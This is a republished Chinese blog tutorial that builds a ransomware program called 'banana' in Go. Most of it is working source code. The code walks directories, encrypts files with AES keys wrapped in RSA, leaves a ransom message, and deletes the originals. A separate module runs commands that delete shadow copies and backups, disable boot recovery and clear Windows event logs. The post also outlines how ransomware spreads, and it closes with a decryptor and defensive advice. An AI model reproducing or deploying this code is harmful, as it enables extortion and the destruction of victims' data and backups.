Golang實現一個勒索病毒(banana)


勒索病毒banana

勒索病毒是黑客通過鎖屏、加密文件等方式劫持用戶文件並以此敲詐用戶錢財的惡意軟件。黑客利用系統漏洞或通過網絡釣魚等方式,向受害電腦或服務器植入病毒,進以加密硬盤上的關鍵文檔(如ERP數據庫文件)乃至整個硬盤,然后向受害者索要數額不等的贖金后才予以解密。該病毒性質惡劣、危害極大,一旦感染將給企業用戶帶來無法估量的損失。

勒索病毒所產生的龐大收益令讓黑客組織賺得盆滿缽滿。在利益驅使下,黑客組織不斷采用尖端技術讓勒索病毒變的越來越強大。直到2017年上半年,WannaCry(永恆之藍)的爆發,很多中國企業用戶才意識到勒索病毒的存在。WannaCry之后,Petya又再次在國外爆發,國內由於剛經歷過WannaCry的洗禮,受到Petya攻擊的用戶並不多見。但之后的2-3個月,我們陸陸續續發現master、Sega2.0、arena開始有爆發的勢頭。

隨着勒索攻擊工具化程度越來越高,無數的勒索病毒在互聯網中游盪,尋找着合適的目標。就像流感病毒入侵人體一樣,感染的過程安靜、緩慢,並不激烈…直到抵達臨界點迅猛爆發,人體免疫系統已無力抵抗。目前,許多新式攻擊媒介傾向與於緩慢低調,一般的網絡防御手段在其面前如若無物。

美國聯邦調查局報告稱,每天有超過4,000起勒索軟件攻擊事件發生,而其他研究機構則表示,每天產生23萬個新的惡意軟件樣本。

勒索病毒種類

1.文件加密勒索病毒

所有文件被加密(文件、圖片、視頻甚至是數據庫),受感染的文件被加密后會被刪除,用戶通常會在文件夾中看到一個包含付款說明的文本文件。當用戶嘗試打開其中一個加密文件時,才可能會發現問題。最典型的案例就是WannaCry,該類型勒索病毒是目前最常見的勒索病毒。感染文件型勒索病毒后,病毒會更改系統桌面並展示勒索支付提示。

2.鎖屏勒索病毒——WinLocker

WinLocker會鎖定電腦屏幕並要求付款。它會呈現一個全屏圖像並阻止所有其它窗口開啟。幸運的是,這種類型的勒索病毒並不會加密用戶的數據文件,數據有挽回的可能。

3.主引導記錄(MBR)勒索病毒

主引導記錄(MBR)是電腦硬盤驅動器的一部份,影響操作系統的啟動功能。主引導記錄勒索病毒會更改電腦的主引導記錄,中斷電腦的正常啟動,然后在屏幕上顯示要求贖金的內容,今年最流行的Petya就屬於這類病毒。這類病毒不同於文件型勒索病毒,感染后病毒可能采用磁盤級加密技術覆寫磁盤,數據基本無挽回可能。

4.網絡服務器加密勒索病毒

這類病毒專門針對網絡服務器上的文件進行加密。它通常使用內容管理系統中的已知漏洞,在網絡服務上釋放和安裝勒索病毒,例如最近經常碰到的master勒索病毒。

5.移動設備勒索軟件(安卓)

目前針對移動設備的勒索病毒主要存在於安卓系統上(iOS系統安全性要高一些,但也要注意及時升級),用戶遭受感染的方式一般為下載、瀏覽不信任程序以及網站或偽裝程序。

6.另類的勒索攻擊——DDoS攻擊

通過DDoS攻擊來堵塞服務器通道。萬幸的是這樣的攻擊不會影響到企業的數據安全。目前,國內市場中常常出現的DDoS一般分為四種:ARP攻擊、ICMP攻擊、TCP攻擊、應用層攻擊。DDoS攻擊日漸猖獗,大量實踐數據表明,DDoS特別青睞於安全管理等級不高的服務器。

下面我通過Golang實現一個簡單的文件加密勒索病毒(勒索病毒banana)。

勒索測試

package main

import (
	"flag"

	"github.com/xxx/blackmail/Delete_VSSADMIN"
	"github.com/xxx/blackmail/Directory_traversal"
)

func main() {
	var pathName string
	flag.StringVar(&pathName, "pathName", "C:/Users/13107/Desktop/識別沙箱檢測", "輸入要加密的路徑")
	flag.Parse()
	// pathName := "C:/Users/13107/Desktop/識別沙箱檢測"
	Directory_traversal.Directory_traversal(pathName) // 加密文件
	Delete_VSSADMIN.Delete_VSSADMIN()                 // 刪除卷影、備份等
}

行為

文件加密

1. 獲取磁盤信息和文件信息
  1. 遍歷文件目錄,只加密不是.banana后綴的

  2. 獲取每一個文件路徑

    func GetAllFile(pathName string) {
    	conn := pathName
    	local_dir := conn
    	err := filepath.Walk(local_dir, file_path)
    	fmt.Println("Temp總共文件數量:", k)
    	if err != nil {
    		// fmt.Println("路徑獲取錯誤")
    		return
    	}
    }
    
    func file_path(FileName string, fi os.FileInfo, err error) error {
    	if fi.IsDir() {
    		return nil
    	}
    	k++
    	fmt.Println("filename:", FileName) // 輸出文件名字 ->  byte讀取文件 aes加密文件內容 將加密后的文件新建到 fileName.banana
    	// 讀取文件AES 加密
    	if !strings.HasSuffix(FileName, ".banana") { // 判斷后綴是否為.banana 文件 只加密不是.banana后綴的文件
    		wg.Add(1)
    		go func() {
    			defer wg.Add(-1)
    			AES_Encryption.AES_Encryption(FileName)
    
    		}()
    		wg.Wait()
    		return nil
    	}
    	return nil
    }
    
2.對每一個文件進行加密處理
  1. 隨機生成16位字符串作為AES的key

    package AES_Encryption
    
    import (
    	"math/rand"
    	"time"
    )
    
    func Random_Key(len int) string {
    	r := rand.New(rand.NewSource(time.Now().UnixNano()))
    	bytes := make([]byte, len)
    	for i := 0; i < len; i++ {
    		b := r.Intn(26) + 65
    		bytes[i] = byte(b)
    	}
    	return string(bytes)
    }
    
  2. 用RSA加密算法生成公私鑰

    // RSA公鑰和私鑰生成:
    package main
    
    import (
    	"crypto/rand"
    	"crypto/rsa"
    	"crypto/x509"
    	"encoding/pem"
    	"flag"
    	"fmt"
    	"os"
    )
    
    func RSAKeyGen(bits int) error {
    	privatekey, err := rsa.GenerateKey(rand.Reader, bits)
    	if err != nil {
    		fmt.Println("私鑰文件生成失敗")
    	}
    	fmt.Println("私鑰為:", privatekey)
    	derStream := x509.MarshalPKCS1PrivateKey(privatekey)
    	block := &pem.Block{
    		Type:  "RSA Private key",
    		Bytes: derStream,
    	}
    	privatefile, err := os.Create("myprivatekey.pem")
    	defer privatefile.Close()
    	err = pem.Encode(privatefile, block)
    	if err != nil {
    		fmt.Println(err.Error())
    		return err
    	}
    	publickey := &privatekey.PublicKey
    	fmt.Println("公鑰為:", publickey)
    	derpkix, err := x509.MarshalPKIXPublicKey(publickey)
    	block = &pem.Block{
    		Type:  "RSA Public key",
    		Bytes: derpkix,
    	}
    	if err != nil {
    		fmt.Println(err.Error())
    		return err
    	}
    	publickfile, err := os.Create("mypublic.pem")
    	defer publickfile.Close()
    	err = pem.Encode(publickfile, block)
    	if err != nil {
    		fmt.Println(err.Error())
    		return err
    	}
    	return nil
    }
    
    func main() {
    	var bits int
    	flag.IntVar(&bits, "b", 1024, "密碼默認長度1024")
    	flag.Parse()
    	err := RSAKeyGen(bits)
    	if err != nil {
    		fmt.Println("RSA密碼文件生成失敗")
    	}
    	fmt.Println("RSA密碼生成成功")
    }
    
3.用AES加密每一個文件,key為隨機生成的AES key
package AES_Encryption

import (
 "bytes"
 "crypto/aes"
 "crypto/cipher"
 "crypto/rand"
 "encoding/base64"
 "io/ioutil"
 "os"

 "github.com/ed11s00n/blackmail/RSA_ENC_KEY"
)

const (
 StdLen  = 16
 UUIDLen = 20
 iv      = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
 return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
 if length == 0 {
 	_ = 1
 }
 clen := len(chars)
 if clen < 2 || clen > 256 {
 	panic("Wrong charset length for NewLenChars()")
 }
 maxrb := 255 - (256 % clen)
 b := make([]byte, length)
 r := make([]byte, length+(length/4)) // storage for random bytes.
 i := 0
 for {
 	if _, err := rand.Read(r); err != nil {
 		panic("Error reading random bytes: " + err.Error())
 	}
 	for _, rb := range r {
 		c := int(rb)
 		if c > maxrb {
 			continue // Skip this number to avoid modulo bias.
 		}
 		b[i] = chars[c%clen]
 		i++
 		if i == length {
 			return b
 		}
 	}
 }
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
 padding := blockSize - len(ciphertext)%blockSize
 padtext := bytes.Repeat([]byte{byte(padding)}, padding)
 return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
 length := len(origData)
 unpadding := int(origData[length-1])
 return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
 decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
 if err != nil {
 	return nil, err
 }
 block, err := aes.NewCipher(key)
 if err != nil {
 	return nil, err
 }
 blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
 origData := make([]byte, len(decodeBytes))

 blockMode.CryptBlocks(origData, decodeBytes)
 origData = PKCS5UnPadding(origData)
 return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {
 block, err := aes.NewCipher(key)
 if err != nil {
 	return "", err
 }

 blockSize := block.BlockSize()
 // fmt.Println(blockSize)
 encodeBytes = PKCS5Padding(encodeBytes, blockSize)

 blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
 crypted := make([]byte, len(encodeBytes))
 blockMode.CryptBlocks(crypted, encodeBytes)

 return base64.StdEncoding.EncodeToString(crypted), nil
}

func AES_Encryption(fileName string) { // 主
 // fmt.Println(fileName)
 var Encrypted_file = []byte{}
 file_byte, _ := ioutil.ReadFile(fileName)
 Encrypted_file = append(Encrypted_file, file_byte...)
 // fmt.Println(Encrypted_file)
 key := Random_Key(16) // AES的key為隨機生成的
 // 將隨機生成的AES key 進行RSA加密:
 rsa_key := RSA_ENC_KEY.RSAEncrypt(key)
 b, _ := AesEncrypt([]byte(Encrypted_file), []byte(key))
 b0 := []byte("\r\n\r\nYour files have been encrypted\r\n\r\n")
 b1 := append([]byte(rsa_key), b0...)
 b1 = append(b1, b...)
 err := ioutil.WriteFile(fileName+".banana", b1, 0666)
 if err != nil {
 	return
 }
 Delete_File(fileName) // 刪掉原文件
 // fmt.Println("enc_info: " + string(b))
}
4. 用RSA加密算法加密隨機生成的key值
rsa_key := RSA_ENC_KEY.RSAEncrypt(key)
5.刪除原文件
// 刪除原文件
func Delete_File(fileName string) {
err := os.Remove(fileName)
if err != nil {
	return
} else {
	return
}
}
6.保存加密文件(三部分組成)
  1. RSA加密的隨機生成的AES key

    sj1Fxi9JXIcopFmRLvz0jBGzR06w3kYLePN3nTLEndzxlwSDbbT8xL943EOLnnOXeTT5HU25PdkTMNQXlFVBFaCZOvAtor/X/2FQsyTAlKIwo25RHbTnWhZ7oePSeyaeYD++Wtoz/2fgsqhnaal4uEdHmognPDh43IHp9Yogat8=
    
    1. 賬戶、以及解密方式

      You have been blackmailed,Please contact me at ********
      
    2. 加密以后的文件內容

      IvH+YrCg5yfD/XIBpGdpSgTe2F/sK9kqqoYqC3DsW9T9cO+cBcSmG54q8kXvQ7mI6Lb6hPSdI2KK8ylRP3PYNiPCu59lDb1paXNScANhdLS1NwO8zAMhZxAzK+6GEWFPQnbFiSO7H5IbklfUAjCCnzNowIX7s+9ExuaMU+RHp5V6HXDOgNTULprkoOmxDUTXQEm75EiUtV5EebP8muNCCNoL5od1lYyEk578WM8oDpamkANTZ82ar1QtFsjaot+kWJNE6Z94DiVc1KUTCIbh6dYx47G4zZ4IncQ6oeSRCbqmrURqSDoe/drfWgSxqhE+igGJgNLJ7BEF2P20d6HMW/Iy6zFioruXhR1h1yzcr43HQ8D3ZeWYXcLhsNP2cDk7ZLnDbWtk7w+9d8QOeuNz/lYQkcL+ewOtOfc7X0yqfywoWNaFf10gW0SK4tvz0ZcYeMLmGqWI5VjOb+mzDCzEjbbLkQPAPHiub9pSd6q57RR+FzpHC4riaAYnPFMmiLEcbu5Ally0DjKJKNWlIA7sLb4uXRwNcOzk1yLm/si6kfAaluvmJRCyH0xKy1/+1Lj3X9cIfJjc5YKkxj1KciuNjwLck+vw0nD59h1MBxoDAMbnBDqvnDYISvnXu/0UXFlpDDfSaz1C8I6Cw5yHcBUxmk79/08M2+u00iYYo9EWZaRrrStsQh1+icOy6X24NhzdzcXSsatk2p747Xczb2NAMsipEx4AxHaRSYkxxdq1sTzfag6l9LnftkqvPojOFWms7NlKTI0kiMkkGWDSKdiIls9hcbXvv/e48PcBSrpnvRYpr0KTvrB1n7L43nfXp/W0cYcgk1WuH+wuGcvwVmm3N8TNLshIuOaCP6Ze6rs9E0GgyZPIyAw5qoJHx+ojTMlALsiI/GhvtbAgDquVS+2BCwXXJNbuAo2jb8A/KG0aH43YfxoP3rKPMAUi1KRarH4MKgf5d/qphOd7QLb9l1oy+ucnjvI+BoYL1QlmY3XmF/VXwhPiFUePmHL4Tq+rJQg2tDWjNcLDH2BjeU9u1bKZUNqHBJ5bL7pEto8ws7RV85Ef6LjJgipEz2GMT1CRh46L5xKlHY1l2nSB+eWxLXVSfDMmlTGzqQd434pni8dsq2/43zzX1SL3bEB37otsb8jSJZVKs6zItoGFqHhLq/IIMoeXwq4wW+npPYJr905s01yc9XzM/NVqJFDSy26W8vQJvzRErMSZgU7NHe/sxgXD8Wq+edWDzM3DUW9OKa3oX4osyYFQ8pAtrHxpXSzXhwnRbCtvokzEvGztSP5XK3Fz6TkBx0Cz1Hs0ljUHUSNegQTFyypN2wjybFL5NmVqymWsq6eL0y86qqijQVVynmtm1GXW1B8+p755ZQ9/XiAbT3HlU47wv2HFu4gPybyaLe5zJxe0IujyqTehhJ4kVMIylM8FfPNSBN3Ns9lop66Vh8RssJmb6q7H+e2B8ZsAsM1Su21TWWzaJaaLMG363FfNNSikHSRUNWT6gpk3G54ZZlvVA5Oujq6M6f6fuk6UlULc8MrUM6IrjCDbw1jvdyZZNeognGeJB1Vf1G7j/66wdtO6GBhDQT/MGHfSlccQr0HwO4njJKUe1mgJqeP41/9arfBQtj1llAEo4N/wqpUeaMmhngyany1CrskkhYrRHd9lOdqmMvZ7yRGYFqzFzNOXRpMWesoKlM69Zq7TBshwZDDaAcq1qkxNlXGbMVxniW8yl+aHdyTz+unpcCznOAgHTR0n/nVa2acUUw/gxgUxHx/prGtzzz0ilNyWgpaMrsul
      
    3. 保存為filename.banana(例:原文件為1.txt,則新文件為1.txt.banana)

刪除卷影、備份

  1. 刪除卷影

  2. 刪除備份

    package Delete_VSSADMIN
    
    import (
    	"fmt"
    	"os/exec"
    )
    
    func Delete_VSSADMIN() {
    	// "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
    	// vssadmin delete shadows /all /quiet
    	// wmic shadowcopy delete
    	// bcdedit /set {default} bootstatuspolicy ignoreallfailures
    	// bcdedit /set {default} recoveryenabled no
    	// wbadmin delete catalog -quiet
    	c1 := exec.Command("cmd", "/c", "vssadmin", "delete", "shadows", "/all", "/quiet", "&", "wmic", "shadowcopy", "delete", "&", "bcdedit", "/set", "{default}", "bootstatuspolicy", "ignoreallfailures", "&", "bcdedit", "/set", "{default}", "recoveryenabled", "no", "&", "wbadmin", "delete", "catalog", "-quiet") //"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
    	if err := c1.Run(); err != nil {
    		fmt.Println("Error: ", err)
    	}
    	for i := 0; i < 3; i++ {
    		// "C:\Windows\System32\cmd.exe" /c vssadmin Delete Shadows /All /Quiet
    		c2 := exec.Command("cmd", "/c", "vssadmin", "Delete", "Shadows", "/All", "/Quiet")
    		if err := c2.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
    		c3 := exec.Command("cmd", "/c", "bcdedit", "/set", "{default}", "recoveryenabled", "No")
    		if err := c3.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    		c4 := exec.Command("cmd", "/c", "bcdedit", "/set", "{default}", "bootstatuspolicy", "ignoreallfailures")
    		if err := c4.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP
    		c5 := exec.Command("cmd", "/c", "wbadmin", "DELETE", "SYSTEMSTATEBACKUP")
    		if err := c5.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
    		c6 := exec.Command("cmd", "/c", "wbadmin", "DELETE", "SYSTEMSTATEBACKUP", "-deleteOldest")
    		if err := c6.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c wmic SHADOWCOPY /nointeractive
    		c7 := exec.Command("cmd", "/c", "wmic", "SHADOWCOPY", "/nointeractive")
    		if err := c7.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c wevtutil cl security
    		c8 := exec.Command("cmd", "/c", "wevtutil", "cl", "security")
    		if err := c8.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c wevtutil cl system
    		c9 := exec.Command("cmd", "/c", "wevtutil", "cl", "system")
    		if err := c9.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    		// "C:\Windows\System32\cmd.exe" /c wevtutil cl application
    		c10 := exec.Command("cmd", "/c", "wevtutil", "cl", "application")
    		if err := c10.Run(); err != nil {
    			fmt.Println("Error: ", err)
    		}
    	}
    
    }
    

傳播

1.郵件傳播

這種傳播方式也是病毒界老套路的傳播方式。病毒執行體附着於郵件附件的docx、XLS、TXT等文件中,攻擊者以廣撒網的方式大量傳播垃圾郵件、釣魚郵件,一旦收件人打開郵件附件或者點擊郵件中的鏈接地址,勒索軟件會以用戶看不見的形式在后台靜默安裝,實施勒索。

2.漏洞傳播

這種傳播方式是這幾年非常流行的病毒傳播方式。通過網絡、系統、應用程序的漏洞攻擊用戶。例如今年在國內泛濫的WannaCry就是這樣的典型:利用微軟445端口協議漏洞,感染傳播網內計算機。

3.捆綁傳播

與其他惡意軟件捆綁傳播,這種傳播方式這兩年有所變化。有用戶使用P2P下載例如Bt、迅雷、電驢等下載工具下載文件后,勒索病毒體同下載文件進行捆綁導致用戶感染。

4.介質傳播

可移動存儲介質、本地和遠程的驅動器以及網絡共享傳播、社交媒體傳播。

文件解密

package main

import (
	"flag"

	"github.com/xxx/blackmail_dec/Directory_traversal"
)

func main() {
	var pathName string
	flag.StringVar(&pathName, "pathName", "C:/Users/13107/Desktop/識別沙箱檢測", "輸入要解密的路徑")
	flag.Parse()
	// pathName := "C:/Users/13107/Desktop/識別沙箱檢測"
	Directory_traversal.Directory_traversal(pathName) // 解密文件
}

1.獲取磁盤信息和文件信息

  1. 遍歷文件目錄,只解密是.banana后綴的

  2. 獲取每一個文件路徑

    package Directory_traversal
    
    import (
    	"fmt"
    	"os"
    	"path/filepath"
    	"strings"
    	"sync"
    
    	AES_Decryption "github.com/xxx/blackmail_dec/AES_DEcryption"
    )
    
    var wg sync.WaitGroup
    var k int
    
    // 遍歷pathName下所有文件
    func GetAllFile(pathName string) {
    	conn := pathName
    	local_dir := conn
    	err := filepath.Walk(local_dir, file_path)
    	fmt.Println("Temp總共文件數量:", k)
    	if err != nil {
    		// fmt.Println("路徑獲取錯誤")
    		return
    	}
    }
    
    func file_path(FileName string, fi os.FileInfo, err error) error {
    	if fi.IsDir() {
    		return nil
    	}
    	k++
    	fmt.Println("filename:", FileName) 
    	// 讀取文件AES 加密
    	if strings.HasSuffix(FileName, ".banana") { // 判斷后綴是否為.banana 文件 只解密.banana后綴的文件
    		wg.Add(1)
    		go func() {
    			defer wg.Add(-1)
    			AES_Decryption.File_Processing(FileName) // 這里實現解密
    
    		}()
    		wg.Wait()
    		return nil
    	}
    	return nil
    }
    func Directory_traversal(pathName string) { //主
    	GetAllFile(pathName)
    }
    

2.對每一個文件進行加密處理

  1. 用RSA解密算法解密隨機生成的key值

    package RSA_DEC_KEY
    
    import (
    	"crypto/rand"
    	"crypto/rsa"
    	"crypto/x509"
    	"encoding/base64"
    	"encoding/pem"
    	"errors"
    	"fmt"
    	"os"
    )
    
    var privatekey = FileLoad("myprivatekey.pem")
    
    func FileLoad(filepath string) []byte {
    	privatefile, err := os.Open(filepath)
    	defer privatefile.Close()
    	if err != nil {
    		return nil
    	}
    	privateKey := make([]byte, 2048)
    	num, err := privatefile.Read(privateKey)
    	if err != nil {
    		return nil
    	}
    	return privateKey[:num]
    }
    func RSADecrypt(cipertext []byte) ([]byte, error) {
    	block, _ := pem.Decode(privatekey)
    	if block == nil {
    		return nil, errors.New("private key is bad")
    	}
    	priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)
    	if err != nil {
    		return nil, err
    	}
    	return rsa.DecryptPKCS1v15(rand.Reader, priv, cipertext)
    }
    
    // key := "cOMzS+CqcN7+8jboX2YlblEWX8c0AR21v2WwCg8xadKyGKZEzd8Imzt1gEzQRwsrYXi+Zf71ok+XBvqaoYhbOBlI17tsBBElJjW7hHat65RH08T3W0v3Qp0xsPyUnVZhjFSBoSYaNFAV8BelR5AkszfaGCjId9GmZeCHBuXamL8="
    //主 傳入RSA加密的AES key
    func RSA_DEC_KEY(RSA_key string) string { //主 傳入RSA加密的AES key
    	// var data []byte
    	var err error
    	// fmt.Println(RSA_key)
    
    	data, err := base64.StdEncoding.DecodeString(RSA_key)
    	if err != nil {
    		fmt.Println("錯誤", err)
    	}
    	origData, err := RSADecrypt(data) //解密
    	if err != nil {
    		fmt.Println("錯誤", err)
    	}
    	// fmt.Println("解密:", string(origData))
    	return string(origData)
    	//pk := FileLoad("myprivatekey.pem")
    	//fmt.Println(string(pk))
    }
    
    

    用AES key解密每一個文件

    package AES_Decryption
    
    import (
    	"crypto/aes"
    	"crypto/cipher"
    	"encoding/base64"
    	"io/ioutil"
    	"os"
    	"strings"
    
    	"github.com/ed11s00n/blackmail_dec/RSA_DEC_KEY"
    )
    
    var iv = "0000000000000000"
    
    func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
    	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
    	if err != nil {
    		return nil, err
    	}
    	block, err := aes.NewCipher(key)
    	if err != nil {
    		return nil, err
    	}
    	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
    	origData := make([]byte, len(decodeBytes))
    
    	blockMode.CryptBlocks(origData, decodeBytes)
    	origData = PKCS5UnPadding(origData)
    	return origData, nil
    }
    
    // 刪除原加密文件
    func Delete_File(fileName string) {
    	err := os.Remove(fileName)
    	if err != nil {
    		return
    	} else {
    		return
    	}
    }
    func PKCS5UnPadding(origData []byte) []byte {
    	length := len(origData)
    	unpadding := int(origData[length-1])
    	return origData[:(length - unpadding)]
    }
    
    //  解密文件
    func AES_Decryption(key string, data string) []byte { // key為AES加密文件時隨機生成的key , data為加密以后的數據,返回byte類型原數據
    	var info_list = [...]string{data}
    	original_data, _ := AesDecrypt(info_list[0], []byte(key))
    	// fmt.Println(string(original_data))
    	return original_data
    }
    
    // 主 對傳入文件進行處理
    func File_Processing(fileName string) {
    	b, err := ioutil.ReadFile(fileName)
    	if err != nil {
    		return
    	}
    	lineSlice := strings.Split(string(b), "\r\n")
    	RSA_key := lineSlice[0]
    	key := RSA_DEC_KEY.RSA_DEC_KEY(RSA_key)
    	data := lineSlice[4]
    	Delete_File(fileName) // 刪除加密文件
    	original_data := AES_Decryption(key, data)
    	err2 := ioutil.WriteFile(fileName[:len(fileName)-7], original_data, 0666)
    	if err2 != nil {
    		return
    	}
    }
    
  2. 生成新文件為filename減去.banana后綴

    err2 := ioutil.WriteFile(fileName[:len(fileName)-7], original_data, 0666)
    

3.刪除原文件

// 刪除原加密文件
func Delete_File(fileName string) {
	err := os.Remove(fileName)
	if err != nil {
		return
	} else {
		return
	}
}

項目地址:https://github.com/Ed1s0nZ/banana_blackmail

勒索病毒威脅的解決方案

企業用戶應該提升新興威脅的對抗能力。傳統的基於合規要求的防御體系,對於勒索軟件等新興威脅在發現、檢測、處理上已經呈現出力不從心的狀態。而通過對抗式演習,從安全技術、安全管理和安全運營等多個維度出發,對企業的互聯網邊界、防御體系及安全運營制度等多方面進行仿真檢驗,可以持續提升企業對抗新興威脅的能力。

根據勒索病毒普遍的攻擊方式,我們提供以下建議

1.加強網絡層防御

我們正在經歷全球互聯網化的浪潮,幾乎所有的商業企業都已經接入互聯網。企業的邊界漸漸模糊,網絡逐漸成為企業的虛擬邊界。有效加強企業網絡層的安全防御水平,對企業防止來自網絡層的惡意攻擊非常有必要。作為網絡層防御的第一道衛士,我們建議:企業用戶配備專業的網絡安全設備(網絡防火牆系統)。

2.加強應用系統防護

目前企業用戶大量使用ERP、CRM、OA等管理軟件,已經開始將交易、管理、運營的數據遷移至信息化系統之中,所以管理和業務軟件的安全至關重要。

由於勒索病毒的泛濫,已經造成多起企業ERP系統被加密,企業業務無法正常開展的案例。防火牆由於防御顆粒度粗,在網絡架構中位置偏低(網絡層在應用層之下),難以防御針對應用層關鍵業務系統的攻擊。另外,不同的管理和業務系統軟件,因為其開發語言、開發過程、開發環境,以及其應用場景、應用過程、應用環境的不同,會有不同的安全隱患存在。企業用戶需要進行有針對的威脅檢測和威脅防護,並且部署專屬的應用系統防御產品。我們建議:企業用戶配備專屬的應用安全設備(ERP安全防護系統)。

3.加強終端安全防御

勒索病毒的目的很簡單:控制企業核心業務系統,掌握企業重要業務數據。只有這樣,企業才能快速的支付“贖金”。業務實踐和統計數據顯示,95%以上針對企業用戶的網絡攻擊,目標都是業務服務器和業務終端。但是,很多企業用戶對核心業務系統基礎設施(服務器和PC)防護意識薄弱,認為安裝一款免費殺毒軟件就能夠“萬事大吉”。對於終端防御來講,查殺病毒只是一個環節,還需要科學的對“操作系統補丁、操作系統漏洞、高可持續攻擊、0day攻擊”進行系統的防御。我們建議:企業用戶應該進行兩方面的安全防御,服務器做好主機加固、終端安全管理、防病毒;PC:做好防病毒管理。

4.做好數據備份

數據備份是企業遭受到勒索病毒攻擊后最后的補救措施。但是,新型勒索病毒越來越智能,會主動搜尋備份設備與備份軟件,一旦發現備份系統將優先進行加密,實施勒索。我們遇到的案例中,企業ERP系統遭到勒索病毒的攻擊,運行服務器、災備服務器、備份服務器被一鍋端,丟失長達6年的業務數據。我們建議:企業用戶日常化關鍵數據備份工作。有條件的企業,建議做好異地備份,並通過網絡隔離保障備份數據安全。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM